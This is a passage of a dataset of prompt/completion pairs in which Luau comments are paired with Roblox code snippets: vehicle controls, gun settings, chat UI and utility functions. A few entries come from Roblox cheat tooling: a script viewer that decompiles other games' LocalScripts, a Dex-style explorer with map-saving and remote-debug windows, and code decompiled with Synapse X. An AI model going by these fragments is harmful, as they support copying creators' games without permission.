"\nlocal DriverSeat = Chassis.driverSeat\n\nlocal function unbindActions()\n\tContextActionService:UnbindAction(STEER_LEFT_ACTION_NAME)\n\tContextActionService:UnbindAction(STEER_RIGHT_ACTION_NAME)\n\tContextActionService:UnbindAction(THROTTLE_ACTION_NAME)\n\tContextActionService:UnbindAction(BRAKE_ACTION_NAME)\n\tContextActionService:UnbindAction(HAND_BRAKE_ACTION_NAME)\n\tContextActionService:UnbindAction(EXIT_ACTION_NAME)\nend\n\nlocal function onExitSeat(Seat)\n\tunbindActions()\n\tLocalVehicleSeating.DisconnectFromSeatExitEvent(onExitSeat)\n\tscript.Disabled = true\nend\nLocalVehicleSeating.OnSeatExitEvent(onExitSeat)\n"} +{"prompt": "--[[\n Creates a new value, with relation to specified name, and with an optional starting amount.\n]]", "completion": "\nfunction BaseValueStore:addValue(name, startingData)\n\tself._data[name].value = startingData.value or 0\n\tself._data[name].max = startingData.max or nil\n\tself._data[name].min = startingData.min or nil\nend\n"} +{"prompt": "-- End Scrollbar", "completion": "\n\nlocal scrollBar = ScrollBar(false)\nscrollBar.PageIncrement = 16\nCreate(scrollBar.GUI,{\n\tPosition = UDim2.new(1,0,0,0);\n\tSize = UDim2.new(0,ScrollBarWidth,1,0);\n\tParent = editorGrid;\n})\n\nlocal scrollBarH = ScrollBar(true)\nscrollBarH.PageIncrement = 8\nCreate(scrollBarH.GUI,{\n\tPosition = UDim2.new(0,0,1,0);\n\tSize = UDim2.new(1,0,0,ScrollBarWidth);\n\tParent = editorGrid;\n})\n\nlocal entries = {}\n\nlocal grid = {}\n\nlocal count = 1\nlocal xCount = 1\n\nlocal lineSpan = 0\n\nfor i = 0,490,8 do\n\tlocal newRow = {}\n\tfor j = 0,390,16 do\n\t\tlocal cellText = Instance.new(\"TextLabel\",editorGrid)\n\t\tcellText.BackgroundTransparency = 1\n\t\tcellText.BorderSizePixel = 0\n\t\tcellText.Text = \"\"\n\t\tcellText.Position = UDim2.new(0,i,0,j)\n\t\tcellText.Size = UDim2.new(0,8,0,16)\n\t\tcellText.Font = Enum.Font.SourceSans\n\t\tcellText.FontSize = Enum.FontSize.Size18\n\t\ttable.insert(newRow,cellText)\n\t\txCount = xCount + 1\n\tend\n\ttable.insert(grid,newRow)\n\tcount = count + 1\n\txCount = 1\nend\n\nlocal syntaxHighlightList = {\n\t{[\"Keyword\"] = \"for\", [\"Color\"] = Color3.new(0, 0, 127/255), [\"Independent\"] = true},\n\t{[\"Keyword\"] = \"local\", [\"Color\"] = Color3.new(0, 0, 127/255), [\"Independent\"] = true},\n\t{[\"Keyword\"] = \"if\", [\"Color\"] = Color3.new(0, 0, 127/255), [\"Independent\"] = true},\n\t{[\"Keyword\"] = \"then\", [\"Color\"] = Color3.new(0, 0, 127/255), [\"Independent\"] = true},\n\t{[\"Keyword\"] = \"do\", [\"Color\"] = Color3.new(0, 0, 127/255), [\"Independent\"] = true},\n\t{[\"Keyword\"] = \"while\", [\"Color\"] = Color3.new(0, 0, 127/255), [\"Independent\"] = true},\n\t{[\"Keyword\"] = \"end\", [\"Color\"] = Color3.new(0, 0, 127/255), [\"Independent\"] = true},\n\t{[\"Keyword\"] = \"function\", [\"Color\"] = Color3.new(0, 0, 127/255), [\"Independent\"] = true},\n\t{[\"Keyword\"] = \"string\", [\"Color\"] = Color3.new(0, 0, 127/255), [\"Independent\"] = true},\n\t{[\"Keyword\"] = \"table\", [\"Color\"] = Color3.new(0, 0, 127/255), [\"Independent\"] = true},\n\t{[\"Keyword\"] = \"game\", [\"Color\"] = Color3.new(0, 0, 127/255), [\"Independent\"] = true},\n\t{[\"Keyword\"] = \"workspace\", [\"Color\"] = Color3.new(0, 0, 127/255), [\"Independent\"] = true},\n\t{[\"Keyword\"] = \"return\", [\"Color\"] = Color3.new(0, 0, 127/255), [\"Independent\"] = true},\n\t{[\"Keyword\"] = \"break\", [\"Color\"] = Color3.new(0, 0, 127/255), [\"Independent\"] = true},\n\t{[\"Keyword\"] = \"elseif\", [\"Color\"] = Color3.new(0, 0, 127/255), [\"Independent\"] = true},\n\t{[\"Keyword\"] = \"in\", [\"Color\"] = Color3.new(0, 0, 127/255), [\"Independent\"] = true},\n\t{[\"Keyword\"] = \"pairs\", [\"Color\"] = Color3.new(0, 0, 127/255), [\"Independent\"] = true},\n\t{[\"Keyword\"] = \"ipairs\", [\"Color\"] = Color3.new(0, 0, 127/255), [\"Independent\"] = true}\n}\n\nfunction checkMouseInGui(gui)\n\tif gui == nil then return false end\n\tlocal plrMouse = game.Players.LocalPlayer:GetMouse()\n\tlocal guiPosition = gui.AbsolutePosition\n\tlocal guiSize = gui.AbsoluteSize\t\n\t\n\tif plrMouse.X >= guiPosition.x and plrMouse.X <= guiPosition.x + guiSize.x and plrMouse.Y >= guiPosition.y and plrMouse.Y <= guiPosition.y + guiSize.y then\n\t\treturn true\n\telse\n\t\treturn false\n\tend\nend\n\nfunction AddZeros(num,reach)\n\tlocal toConvert = tostring(num)\n\twhile #toConvert < reach do\n\t\ttoConvert = \" \"..toConvert\n\tend\n\treturn toConvert\nend\n\nfunction buildScript(source,xOff,yOff,override)\n\tlocal buildingRows = true\n\tlocal buildScr = source\n\t\n\tlocal totalLines = 0\n\t\n\t--print(xOff,yOff)\n\t\n\tif currentSource ~= source then\n\t\tcurrentSource = source\n\tend\n\n\tif override then\n\t\tcurrentSource = source\n\t\tentries = {}\n\t\twhile buildingRows do\n\t\t\tlocal x,y = string.find(buildScr,\"\\n\")\n\t\t\tif x and y then\n\t\t\t\ttable.insert(entries,string.sub(buildScr,1,y))\n\t\t\t\tbuildScr = string.sub(buildScr,y+1,string.len(buildScr))\n\t\t\telse\n\t\t\t\tbuildingRows = false\n\t\t\t\ttable.insert(entries,buildScr)\n\t\t\tend\n\t\tend\n\tend\n\t\n\ttotalLines = #entries\n\tlineSpan = #tostring(totalLines)\n\t\n\tif lineSpan == 1 then lineSpan = 2 end\n\t\n\tlocal currentRow = 1\n\tlocal currentColumn = 2 + lineSpan\n\t\n\tlocal colorTime = 0\n\tlocal colorReplace = nil\n\t\n\tlocal inString = false\n\t\n\tlocal workingEntries = entries\n\t\n\t--[[\n\tfor i,v in pairs(entries) do\n\t\ttable.insert(workingEntries,v)\n\tend\n\t\n\tfor i = 1,yOff do\n\t\ttable.remove(workingEntries,1)\n\tend\n\t--]]\n\t\n\tlocal delayance = xOff\n\n\tfor i = 1,#grid do\n\t\tfor j = 1,#grid[i] do\n\t\t\tif i <= lineSpan then\n\t\t\t\tlocal newNum = AddZeros(yOff + j,lineSpan)\n\t\t\t\tlocal newDigit = string.sub(newNum,i,i)\n\t\t\t\tif newDigit == \" \" then\n\t\t\t\t\tgrid[i][j].Text = \"\"\n\t\t\t\telse\n\t\t\t\t\tgrid[i][j].Text = newDigit\n\t\t\t\tend\n\t\t\t\tgrid[i][j].BackgroundTransparency = 0\n\t\t\t\tgrid[i][j].BackgroundColor3 = Color3.new(163/255, 162/255, 165/255)\n\t\t\t\t--grid[i][j].Font = Enum.Font.SourceSansBold\n\t\t\telseif i == lineSpan + 1 then\n\t\t\t\tgrid[i][j].Text = \"\"\n\t\t\t\tgrid[i][j].BackgroundTransparency = 0\n\t\t\t\tgrid[i][j].BackgroundColor3 = Color3.new(200/255, 200/255, 200/255)\n\t\t\t\t--grid[i][j].Font = Enum.Font.SourceSans\n\t\t\telse\n\t\t\t\tgrid[i][j].Text = \"\"\n\t\t\t\tgrid[i][j].BackgroundTransparency = 1\n\t\t\t\t--grid[i][j].Font = Enum.Font.SourceSans\n\t\t\tend\n\t\tend\n\tend\n\t\n\twhile true do\n\t\tif currentRow > #workingEntries or currentRow > #grid[1] then break end\n\t\tlocal entry = workingEntries[currentRow+yOff]\n\t\twhile string.len(entry) > 0 do\n\t\t\tif string.sub(entry,1,1) == \"\\t\" then entry = \" \"..string.sub(entry,2) end\n\t\t\t\n\t\t\tif currentColumn > #grid then break end\n\t\t\t\n\t\t\tif delayance == 0 then\n\t\t\t\tgrid[currentColumn][currentRow].Text = string.sub(entry,1,1)\n\t\t\tend\n\t\t\t\n\t\t\t-- Coloring\n\t\t\t\n\t\t\tif not inString then\n\t\t\t\tfor i,v in pairs(syntaxHighlightList) do\n\t\t\t\t\tif string.sub(entry,1,string.len(v[\"Keyword\"])) == v[\"Keyword\"] then\n\t\t\t\t\t\tif v[\"Independent\"] then\n\t\t\t\t\t\t\tlocal outCheck = string.len(v[\"Keyword\"])+1\n\t\t\t\t\t\t\tlocal outEntry = string.sub(entry,outCheck,outCheck)\n\t\t\t\t\t\t\tif not string.find(outEntry,\"%w\") then\n\t\t\t\t\t\t\t\tcolorTime = string.len(v[\"Keyword\"])\n\t\t\t\t\t\t\t\tcolorReplace = v[\"Color\"]\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tcolorTime = string.len(v[\"Keyword\"])\n\t\t\t\t\t\t\tcolorReplace = v[\"Color\"]\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tif string.sub(entry,1,1) == \"\\\"\" and string.match(entry,\"\\\".+\\\"\") then\n\t\t\t\tinString = true\n\t\t\t\tcolorTime = string.len(string.match(entry,\"\\\".+\\\"\"))\n\t\t\t\tcolorReplace = Color3.new(170/255, 0, 1)\n\t\t\tend\n\t\t\t\n\t\t\tif colorTime > 0 then\n\t\t\t\tcolorTime = colorTime - 1\n\t\t\t\tgrid[currentColumn][currentRow].TextColor3 = colorReplace\n\t\t\t\tif colorTime == 0 then inString = false end\n\t\t\telse\n\t\t\t\tgrid[currentColumn][currentRow].TextColor3 = Color3.new(0,0,0)\n\t\t\t\tinString = false\n\t\t\tend\n\t\t\t\n\t\t\tif delayance == 0 then\n\t\t\t\tcurrentColumn = currentColumn + 1\n\t\t\telse\n\t\t\t\tdelayance = delayance - 1\n\t\t\tend\n\t\t\tentry = string.sub(entry,2,string.len(entry))\n\t\tend\n\t\tcurrentRow = currentRow + 1\n\t\tcurrentColumn = 2 + lineSpan\n\t\tcolorTime = 0\n\t\tdelayance = xOff\n\t\tinString = false\n\tend\nend\n\nfunction scrollBar.UpdateCallback(self)\n\tscrollBar.TotalSpace = #entries * 16\n\tscrollBar.VisibleSpace = editorGrid.AbsoluteSize.Y\n\tbuildScript(currentSource,math.floor(scrollBarH.ScrollIndex/8),math.floor(scrollBar.ScrollIndex/16))\nend\n\nfunction scrollBarH.UpdateCallback(self)\n\tscrollBarH.TotalSpace = (getLongestEntry(entries) + 1 + lineSpan) * 8\n\tscrollBarH.VisibleSpace = editorGrid.AbsoluteSize.X\n\tbuildScript(currentSource,math.floor(scrollBarH.ScrollIndex/8),math.floor(scrollBar.ScrollIndex/16))\nend\n\nfunction getLongestEntry(tab)\n\tlocal longest = 0\n\tfor i,v in pairs(tab) do\n\t\tif string.len(v) > longest then\n\t\t\tlongest = string.len(v)\n\t\tend\n\tend\n\treturn longest\nend\n\nfunction openScript(scrObj)\n\tif scrObj:IsA(\"LocalScript\") then\n\t\tscrObj.Archivable = true\n\t\tscrObj = scrObj:Clone()\n\t\tscrObj.Disabled = true\n\tend\n\t\n\tlocal scrName = scrObj.Name\n\tlocal scrSource = decompile(scrObj)\n\t\n\ttable.insert(memoryScripts,{Name = scrName,Source = scrSource})\n\t\n\tlocal newTab = entryTemplate:Clone()\n\tnewTab.Button.Text = scrName\n\tnewTab.Position = UDim2.new(0,#scriptBar:GetChildren() * 100,0,0)\n\tnewTab.Visible = true\n\t\n\tnewTab.Button.MouseButton1Down:connect(function()\n\t\tfor i,v in pairs(scriptBar:GetChildren()) do\n\t\t\tif v == newTab then\n\t\t\t\teditingIndex = i\n\t\t\t\tbuildScript(memoryScripts[i].Source,0,0,true)\n\t\t\t\tscrollBar:ScrollTo(1)\n\t\t\t\tscrollBar:Update()\n\t\t\t\tscrollBarH:ScrollTo(1)\n\t\t\t\tscrollBarH:Update()\n\t\t\tend\n\t\tend\n\tend)\n\t\n\tnewTab.Close.MouseButton1Click:connect(function()\n\t\tfor i,v in pairs(scriptBar:GetChildren()) do\n\t\t\tif v == newTab then\n\t\t\t\ttable.remove(memoryScripts,i)\n\t\t\t\tif editingIndex == i then\n\t\t\t\t\teditingIndex = #memoryScripts\n\t\t\t\t\tif editingIndex > 0 then\n\t\t\t\t\t\tbuildScript(memoryScripts[#memoryScripts].Source,0,0,true)\n\t\t\t\t\telse\n\t\t\t\t\t\tbuildScript(\"\",0,0,true)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tscrollBar:ScrollTo(1)\n\t\t\t\tscrollBar:Update()\n\t\t\t\tscrollBarH:ScrollTo(1)\n\t\t\t\tscrollBarH:Update()\n\t\t\t\t\n\t\t\t\tfor i2 = i,#scriptBar:GetChildren() do\n\t\t\t\t\tscriptBar:GetChildren()[i2].Position = scriptBar:GetChildren()[i2].Position + UDim2.new(0,-100,0,0)\n\t\t\t\tend\n\t\t\t\tif editingIndex > i then\n\t\t\t\t\teditingIndex = editingIndex - 1\n\t\t\t\tend\n\t\t\t\tnewTab:Destroy()\n\t\t\tend\n\t\tend\n\tend)\n\t\n\teditingIndex = #memoryScripts\n\tbuildScript(scrSource,0,0,true)\n\t\n\tnewTab.Parent = scriptBar\nend\n\nfunction updateScriptBar()\n\tlocal entryCount = 0\n\t\n\tscriptBarLeft.Active = false\n\tscriptBarLeft.AutoButtonColor = false\n\tfor i,v in pairs(scriptBarLeft[\"Arrow Graphic\"]:GetChildren()) do\n\t\tv.BackgroundTransparency = 0.7\n\tend\n\tscriptBarRight.Active = false\n\tscriptBarRight.AutoButtonColor = false\n\tfor i,v in pairs(scriptBarRight[\"Arrow Graphic\"]:GetChildren()) do\n\t\tv.BackgroundTransparency = 0.7\n\tend\n\tfor i,v in pairs(scriptBar:GetChildren()) do\n\t\tif v.Position.X.Offset < 0 then\n\t\t\tscriptBarLeft.Active = true\n\t\t\tscriptBarLeft.AutoButtonColor = true\n\t\t\tfor i,v in pairs(scriptBarLeft[\"Arrow Graphic\"]:GetChildren()) do\n\t\t\t\tv.BackgroundTransparency = 0\n\t\t\tend\n\t\telseif v.Position.X.Offset >= 0 then\n\t\t\tentryCount = entryCount + 1\n\t\t\tif entryCount == 5 then\n\t\t\t\tscriptBarRight.Active = true\n\t\t\t\tscriptBarRight.AutoButtonColor = true\n\t\t\t\tfor i,v in pairs(scriptBarRight[\"Arrow Graphic\"]:GetChildren()) do\n\t\t\t\t\tv.BackgroundTransparency = 0\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend\n\nscriptBar.ChildAdded:connect(updateScriptBar)\nscriptBar.ChildRemoved:connect(updateScriptBar)\n\nscriptBarLeft.MouseButton1Click:connect(function()\n\tif scriptBarLeft.Active == false then return end\n\tfor i,v in pairs(scriptBar:GetChildren()) do\n\t\tv.Position = v.Position + UDim2.new(0,100,0,0)\n\tend\n\tupdateScriptBar()\nend)\n\nscriptBarRight.MouseButton1Click:connect(function()\n\tif scriptBarRight.Active == false then return end\n\tfor i,v in pairs(scriptBar:GetChildren()) do\n\t\tv.Position = v.Position + UDim2.new(0,-100,0,0)\n\tend\n\tupdateScriptBar()\nend)\n\nmouse.Button1Down:connect(function()\n\tif checkMouseInGui(editorGrid) then\n\t\t--print(\"LETS EDIT!\")\n\tend\nend)\n\nopenEvent.Event:connect(function(...)\n\ttop.Visible = true\n\tlocal args = {...}\n\tif #args > 0 then\n\t\topenScript(args[1])\n\tend\nend)\n\nclipboardButton.MouseButton1Click:connect(function()\n\tif Clipboard and Clipboard.set then\n\t\tClipboard.set(currentSource)\n\telseif CopyString then\n\t\tCopyString(currentSource)\n\tend\nend)\n\ncloseButton.MouseButton1Click:connect(function()\n\ttop.Visible = false\nend)\n"} +{"prompt": "--// Char Parts", "completion": "\nlocal Humanoid = Personagem:WaitForChild('Humanoid')\nlocal Head = Personagem:WaitForChild('Head')\nlocal Torso = Personagem:WaitForChild('Torso')\nlocal HumanoidRootPart = Personagem:WaitForChild('HumanoidRootPart')\nlocal RootJoint = HumanoidRootPart:WaitForChild('RootJoint')\nlocal Neck = Torso:WaitForChild('Neck')\nlocal Right_Shoulder = Torso:WaitForChild('Right Shoulder')\nlocal Left_Shoulder = Torso:WaitForChild('Left Shoulder')\nlocal Right_Hip = Torso:WaitForChild('Right Hip')\nlocal Left_Hip = Torso:WaitForChild('Left Hip')\n\nlocal Connections = {}\n\nlocal Debris = game:GetService(\"Debris\")\n\nlocal Ignore_Model = ACS_Storage:FindFirstChild(\"Server\")\n\nlocal BulletModel = ACS_Storage:FindFirstChild(\"Client\")\n\nlocal IgnoreList = {\"Ignorable\",\"Glass\"}\n\nlocal Ray_Ignore = {Character, Ignore_Model, Camera, BulletModel, IgnoreList}\n\n\nCamera.CameraType = Enum.CameraType.Custom\nCamera.CameraSubject = Humanoid\n\n\n\n"} +{"prompt": "--//=================================\\\\\n--|| SAZERENOS' ARTIFICIAL HEARTBEAT\n--\\\\=================================//", "completion": "\n\nArtificialHB = Instance.new(\"BindableEvent\", script)\nArtificialHB.Name = \"ArtificialHB\"\n\nscript:WaitForChild(\"ArtificialHB\")\n\nframe = 1/60\ntf = 0\nallowframeloss = false\ntossremainder = false\nlastframe = tick()\nscript.ArtificialHB:Fire()\n\ngame:GetService(\"RunService\").Heartbeat:connect(function(s, p)\n\ttf = tf + s\n\tif tf >= frame then\n\t\tif allowframeloss then\n\t\t\tscript.ArtificialHB:Fire()\n\t\t\tlastframe = tick()\n\t\telse\n\t\t\tfor i = 1, math.floor(tf / frame) do\n\t\t\t\tscript.ArtificialHB:Fire()\n\t\t\tend\n\t\tlastframe = tick()\n\t\tend\n\t\tif tossremainder then\n\t\t\ttf = 0\n\t\telse\n\t\t\ttf = tf - frame * math.floor(tf / frame)\n\t\tend\n\tend\nend)\n\nfunction PositiveAngle(NUMBER)\n\tif NUMBER >= 0 then\n\t\tNUMBER = 0\n\tend\n\treturn NUMBER\nend\n\nfunction NegativeAngle(NUMBER)\n\tif NUMBER <= 0 then\n\t\tNUMBER = 0\n\tend\n\treturn NUMBER\nend\n\nfunction Swait(NUMBER)\n\tif NUMBER == 0 or NUMBER == nil then\n\t\tArtificialHB.Event:wait()\n\telse\n\t\tfor i = 1, NUMBER do\n\t\t\tArtificialHB.Event:wait()\n\t\tend\n\tend\nend\n"} +{"prompt": "--[[\nReturns the exact decimal representation of double converted to decimal in array of table\nwith the length and scale by the power of ten\n]]", "completion": "\nfunction DoubleToDecimalConverter.ToExact(value: number): ({ number }?, number?, number?)\n\tvalue = tonumber(value)\n\tif not value then\n\t\terror(\"Argument #2 provided must be a number\", 2)\n\tend\n\tvalue = math.abs(value)\n\n\tif value ~= value or value == 0 or value == math.huge then\n\t\treturn nil, nil, nil\n\tend\n\t\n\treturn bignum_dtoa(value, true)\nend\n\nreturn DoubleToDecimalConverter\n"} +{"prompt": "--[[\n\t* Copyright (c) Roblox Corporation. All rights reserved.\n\t* Licensed under the MIT License (the \"License\");\n\t* you may not use this file except in compliance with the License.\n\t* You may obtain a copy of the License at\n\t*\n\t* https://opensource.org/licenses/MIT\n\t*\n\t* Unless required by applicable law or agreed to in writing, software\n\t* distributed under the License is distributed on an \"AS IS\" BASIS,\n\t* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\t* See the License for the specific language governing permissions and\n\t* limitations under the License.\n]]", "completion": "\nlocal Array = script.Parent.Parent\nlocal Packages = Array.Parent.Parent\nlocal types = require(Packages.ES7Types)\ntype Object = types.Object\ntype Array = types.Array\ntype Set = types.Set\ntype mapFn = (element: T, index: number) -> U\ntype mapFnWithThisArg = (thisArg: any, element: T, index: number) -> U\n\nreturn function(\n\tvalue: Set,\n\tmapFn: (mapFn | mapFnWithThisArg)?,\n\tthisArg: Object?\n\t-- FIXME Luau: need overloading so the return type on this is more sane and doesn't require manual casts\n): Array | Array | Array\n\tlocal array = {}\n\n\tif mapFn then\n\t\tarray = {}\n\t\tfor i, v in value :: any do\n\t\t\tif thisArg ~= nil then\n\t\t\t\t(array :: Array)[i] = (mapFn :: mapFnWithThisArg)(thisArg, v, i)\n\t\t\telse\n\t\t\t\t(array :: Array)[i] = (mapFn :: mapFn)(v, i)\n\t\t\tend\n\t\tend\n\telse\n\t\tarray = table.clone((value :: any)._array)\n\tend\n\n\treturn array\nend\n"} +{"prompt": "--////////////////////////////////////////////////////////////////////////////////////////////\n--///////////////////////////////////////////////// Code to hook client UI up to server events\n--////////////////////////////////////////////////////////////////////////////////////////////", "completion": "\n\nfunction DoChatBarFocus()\n\tif (not ChatWindow:GetCoreGuiEnabled()) then return end\n\tif (not ChatBar:GetEnabled()) then return end\n\n\tif (not ChatBar:IsFocused() and ChatBar:GetVisible()) then\n\t\tmoduleApiTable:SetVisible(true)\n\t\tInstantFadeIn()\n\t\tChatBar:CaptureFocus()\n\t\tmoduleApiTable.ChatBarFocusChanged:fire(true)\n\tend\nend\n\nchatBarFocusChanged.Event:connect(function(focused)\n\tmoduleApiTable.ChatBarFocusChanged:fire(focused)\nend)\n\nfunction DoSwitchCurrentChannel(targetChannel)\n\tif (ChatWindow:GetChannel(targetChannel)) then\n\t\tChatWindow:SwitchCurrentChannel(targetChannel)\n\tend\nend\n\nfunction SendMessageToSelfInTargetChannel(message, channelName, extraData)\n\tlocal channelObj = ChatWindow:GetChannel(channelName)\n\tif (channelObj) then\n\t\tlocal messageData =\n\t\t{\n\t\t\tID = -1,\n\t\t\tFromSpeaker = nil,\n\t\t\tSpeakerUserId = 0,\n\t\t\tOriginalChannel = channelName,\n\t\t\tIsFiltered = true,\n\t\t\tMessageLength = string.len(message),\n\t\t\tMessage = trimTrailingSpaces(message),\n\t\t\tMessageType = ChatConstants.MessageTypeSystem,\n\t\t\tTime = os.time(),\n\t\t\tExtraData = extraData,\n\t\t}\n\n\t\tchannelObj:AddMessageToChannel(messageData)\n\tend\nend\n\nfunction chatBarFocused()\n\tif (not mouseIsInWindow) then\n\t\tDoBackgroundFadeIn()\n\t\tif (textIsFaded) then\n\t\t\tDoTextFadeIn()\n\t\tend\n\tend\n\n\tchatBarFocusChanged:Fire(true)\nend\n"} +{"prompt": "--\t====================\n--\tSHOTGUN\n--\tEnable the gun to fire multiple bullet in one shot\n--\t====================", "completion": "\n\n\t\tShotgunEnabled = false;\n\t\tBulletPerShot = 8;\n\t\t\n\t\tShotgunReload = false; --Make user reloading like Shotgun, which user clipin shell one by one\n\t\tShotgunClipinAnimationID = nil; --Set to \"nil\" if you don't want to animate\n\t\tShotgunClipinAnimationSpeed = 1;\n\t\tShellClipinSpeed = 0.5; --In second\n\t\t"} +{"prompt": "-- Directional tags", "completion": "\nlocal Direction = 0\nlocal Steer = 0\n"} +{"prompt": "--// Firemode Settings", "completion": "\n\tCanSelectFire = false;\n\tBurstEnabled = false;\n\tSemiEnabled = false;\n\tAutoEnabled = false;\n\tBoltAction = false;\n\tExplosiveEnabled = false;\n\t"} +{"prompt": "--[[ Constants ]]", "completion": "--\nlocal DPAD_SHEET = \"rbxasset://textures/ui/DPadSheet.png\"\nlocal COMPASS_DIR = {\n\tVector3.new(1, 0, 0),\t\t\t-- E\n\tVector3.new(1, 0, 1).unit,\t\t-- SE\n\tVector3.new(0, 0, 1),\t\t\t-- S\n\tVector3.new(-1, 0, 1).unit,\t\t-- SW\n\tVector3.new(-1, 0, 0),\t\t\t-- W\n\tVector3.new(-1, 0, -1).unit,\t-- NW\n\tVector3.new(0, 0, -1),\t\t\t-- N\n\tVector3.new(1, 0, -1).unit,\t\t-- NE\n}\n"} +{"prompt": "--[[\n\n\tLOWGames Studios\n\tDate: 27 October 2022\n\tby Elder\n\t\n]]", "completion": "--\n\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nend)();\nreturn function(p1, p2)\n\tif not p1 then\n\t\treturn u1.Print(\"1st argument is blank or nil\", true);\n\tend;\n\tif not p2 then\n\t\treturn u1.Print(\"2nd argument is blank or nil\", true);\n\tend;\n\tif type(p1) == \"userdata\" then\n\t\tp1 = p1:GetChildren();\n\tend;\n\tfor v1, v2 in ipairs(p1) do\n\t\tif p2(v2) then\n\t\t\treturn v2;\n\t\tend;\n\tend;\nend;\n"} +{"prompt": "--[[\n\tInstance references\n]]", "completion": "\n\nlocal maid = Maid.new()\nmaid.instance = script.Parent\n\nmaid.humanoid = maid.instance:WaitForChild(\"Humanoid\")\nmaid.head = maid.instance:WaitForChild(\"Head\")\nmaid.humanoidRootPart = maid.instance:FindFirstChild(\"HumanoidRootPart\")\nmaid.alignOrientation = maid.humanoidRootPart:FindFirstChild(\"AlignOrientation\")\n"} +{"prompt": "--// Things in the blacklist appear to not work under a normal security level\n--// About could work but apparently no window was included for about :(", "completion": "\n\nlocal IntroFrame = Gui:WaitForChild(\"IntroFrame\")\n\nlocal SideMenu = Gui:WaitForChild(\"SideMenu\")\nlocal OpenToggleButton = Gui:WaitForChild(\"Toggle\")\nlocal CloseToggleButton = SideMenu:WaitForChild(\"Toggle\")\nlocal OpenScriptEditorButton = SideMenu:WaitForChild(\"OpenScriptEditor\")\n\nlocal ScriptEditor = Gui:WaitForChild(\"ScriptEditor\")\n\nlocal SlideOut = SideMenu:WaitForChild(\"SlideOut\")\nlocal SlideFrame = SlideOut:WaitForChild(\"SlideFrame\")\nlocal Slant = SideMenu:WaitForChild(\"Slant\")\n\nlocal ExplorerButton = SlideFrame:WaitForChild(\"Explorer\")\nlocal SettingsButton = SlideFrame:WaitForChild(\"Settings\")\n\nlocal SelectionBox = Instance.new(\"SelectionBox\")\nSelectionBox.Parent = Gui\n\nlocal ExplorerPanel = Gui:WaitForChild(\"ExplorerPanel\")\nlocal PropertiesFrame = Gui:WaitForChild(\"PropertiesFrame\")\nlocal SaveMapWindow = Gui:WaitForChild(\"SaveMapWindow\")\nlocal RemoteDebugWindow = Gui:WaitForChild(\"RemoteDebugWindow\")\n\nlocal SettingsPanel = Gui:WaitForChild(\"SettingsPanel\")\nlocal SettingsListener = SettingsPanel:WaitForChild(\"GetSetting\")\nlocal SettingTemplate = SettingsPanel:WaitForChild(\"SettingTemplate\")\nlocal SettingList = SettingsPanel:WaitForChild(\"SettingList\")\n\nlocal SaveMapCopyList = SaveMapWindow:WaitForChild(\"CopyList\")\nlocal SaveMapSettingFrame = SaveMapWindow:WaitForChild(\"MapSettings\")\nlocal SaveMapName = SaveMapWindow:WaitForChild(\"FileName\")\nlocal SaveMapButton = SaveMapWindow:WaitForChild(\"Save\")\nlocal SaveMapCopyTemplate = SaveMapWindow:WaitForChild(\"Entry\")\nlocal SaveMapSettings = {\n\tCopyWhat = {\n\t\tWorkspace = true,\n\t\tLighting = true,\n\t\tReplicatedStorage = true,\n\t\tReplicatedFirst = true,\n\t\tStarterPack = true,\n\t\tStarterGui = true,\n\t\tStarterPlayer = true\n\t},\n\tSaveScripts = true,\n\tSaveTerrain = true,\n\tLightingProperties = true,\n\tCameraInstances = true\n}\n\nlocal Love = IntroFrame:WaitForChild(\"Love\")\n\nlocal LoveQuotes = {\n\t\"Inspect, our love knows no bounds\",\n\t\"Inspect, I will always be there for you\",\n\t\"Inspect, nothing is more powerful than our relationship\",\n\t\"Inspect, I always think about you when you get depressed\",\n\t\"Inspect, you will always have a special place in my heart\"\n}\n\nLove.Text = LoveQuotes[math.random(1,#LoveQuotes)]\n"} +{"prompt": "-- regular lua compatibility", "completion": "\nlocal typeof = typeof or type\n\nlocal function primitive(typeName)\n\treturn function(value)\n\t\tlocal valueType = typeof(value)\n\t\tif valueType == typeName then\n\t\t\treturn true\n\t\telse\n\t\t\treturn false, string.format(\"%s expected, got %s\", typeName, valueType)\n\t\tend\n\tend\nend\n\nlocal t = {}\n"} +{"prompt": "-- Listener variables and events", "completion": "\nlocal events = ReplicatedStorage.Events\nlocal roundEnd = events.RoundEnd\nlocal roundStart = events.RoundStart\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nreturn {\n\tSounds = {\n\t\tDirt = 178054124, \n\t\tWood = 177940988, \n\t\tConcrete = 277067660, \n\t\tGrass = 4776173570, \n\t\tMetal = 4790537991, \n\t\tSand = 4777003964, \n\t\tFabric = 4776951843, \n\t\tGravel = 4776998555, \n\t\tMarble = 4776962643\n\t}, \n\tMaterialMap = {\n\t\tMud = \"Dirt\", \n\t\tPebble = \"Dirt\", \n\t\tGround = \"Dirt\", \n\t\tSand = \"Sand\", \n\t\tSnow = \"Sand\", \n\t\tSandstone = \"Sand\", \n\t\tRock = \"Gravel\", \n\t\tBasalt = \"Gravel\", \n\t\tAsphalt = \"Gravel\", \n\t\tGlacier = \"Gravel\", \n\t\tSlate = \"Gravel\", \n\t\tWoodPlanks = \"Wood\", \n\t\tLeafyGrass = \"Grass\", \n\t\tIce = \"Marble\", \n\t\tSalt = \"Marble\", \n\t\tMarble = \"Marble\", \n\t\tPavement = \"Marble\", \n\t\tLimestone = \"Marble\", \n\t\tFoil = \"Metal\", \n\t\tDiamondPlate = \"Metal\", \n\t\tCorrodedMetal = \"Metal\"\n\t}, \n\tRotationFactors = {\n\t\tHead = {\n\t\t\tPitch = 0.8, \n\t\t\tYaw = 0.75\n\t\t}, \n\t\tUpperTorso = {\n\t\t\tPitch = 0.5, \n\t\t\tYaw = 0.5\n\t\t}, \n\t\tLeftUpperArm = {\n\t\t\tPitch = 0, \n\t\t\tYaw = -0.5\n\t\t}, \n\t\tRightUpperArm = {\n\t\t\tPitch = 0, \n\t\t\tYaw = -0.5\n\t\t}, \n\t\tTorso = {\n\t\t\tPitch = 0.4, \n\t\t\tYaw = 